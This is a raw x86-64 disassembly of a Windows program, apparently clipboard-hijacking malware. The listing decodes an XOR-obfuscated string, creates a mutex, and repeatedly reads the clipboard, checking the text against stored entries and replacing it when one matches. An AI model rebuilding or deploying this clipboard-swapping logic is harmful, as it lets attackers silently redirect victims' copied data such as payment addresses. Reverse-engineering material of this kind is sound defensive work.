xor r11b, 0x6d
mov byte [rbp + 0x66], r10b
mov bl, 0x19
mov byte [rbp + 0x67], r11b
xor bl, 0x6d
mov dil, 0x15
xor dil, 0x6d
mov byte [rbp + 0x68], bl
xor edx, edx
mov byte [rbp + 0x69], dil
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cmp dword [0x1400177e0], eax
je 0x14000f1e5
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000f1e5
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
test rax, rax
je 0x14000f50b
xorps xmm0, xmm0
mov qword [rbp + 0x178], r13
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x180], r13
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14000f240
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.1400037c0
movups xmm1, xmmword [rbp + 0x178]
mov byte [rbp + 0xf0], 1
movups xmm0, xmmword [rbp + 0x168]
movq rax, xmm1
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm1
test rax, rax
je 0x14000f512
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xb0]
call fcn.140006990
mov rbx, qword [0x1400177e8]
mov rsi, qword [0x1400177f0]
cmp rbx, rsi
je 0x14000f44c
cmp qword [rbx + 0x38], r12
je 0x14000f3ec
cmp qword [rbp + 0xc8], 0xf
lea rax, [rbx + 0x28]
mov r9, qword [rbp + 0xc0]
lea rdx, [rbp + 0xb0]
cmova rdx, qword [rbp + 0xb0]
lea r8, [rbp + 0xb0]
add r9, rdx
mov dword [rsp + 0x30], r13d
cmp qword [rbp + 0xc8], 0xf
lea rdx, [rbp + 0x128]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
cmova r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x48]
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], r13
mov qword [rbp + 0x140], 0xf
mov byte [rbp + 0x128], r12b
mov qword [rsp + 0x20], rbx
call fcn.1400050c0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14000f37d
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f378
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f526
call fcn.14000f984
movups xmm0, xmmword [rbp + 0x128]
cmp qword [rbp + 0xe8], 0xf
lea rdx, [rbp + 0xd0]
movups xmm1, xmmword [rbp + 0x138]
cmova rdx, qword [rbp + 0xd0]
lea rcx, [rbp + 0xb0]
movq r8, xmm0
movups xmmword [rbp + 0xb0], xmm0
movdqa xmm0, xmm1
movq rdi, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
movups xmmword [rbp + 0xc0], xmm1
cmova rcx, r8
cmp rdi, qword [rbp + 0xe0]
jne 0x14000f3fb
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000f3fb
add rbx, 0x48
cmp rbx, rsi
jne 0x14000f2b3
jmp 0x14000f44c
lea rdx, [rdi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000f44c
cmp qword [rbp + 0xc8], 0xf
lea rdx, [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
mov rcx, rax
cmova rdx, qword [rbp + 0xb0]
inc r8
call sub.VCRUNTIME140.dll_memcpy
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x1400177e0], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14000f49f
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f49a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f52d
call fcn.14000f984
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], r12b
cmp byte [rbp + 0xf0], r12b
je 0x14000f1e5
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x14000f1e5
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f501
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f52d
call fcn.14000f984
jmp 0x14000f1e5
mov byte [rbp + 0xf0], r12b
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x1400177e0], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x14000f4b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, 1
jmp 0x14000f12e
call fcn.14000c990
int3
call fcn.14000c320
int3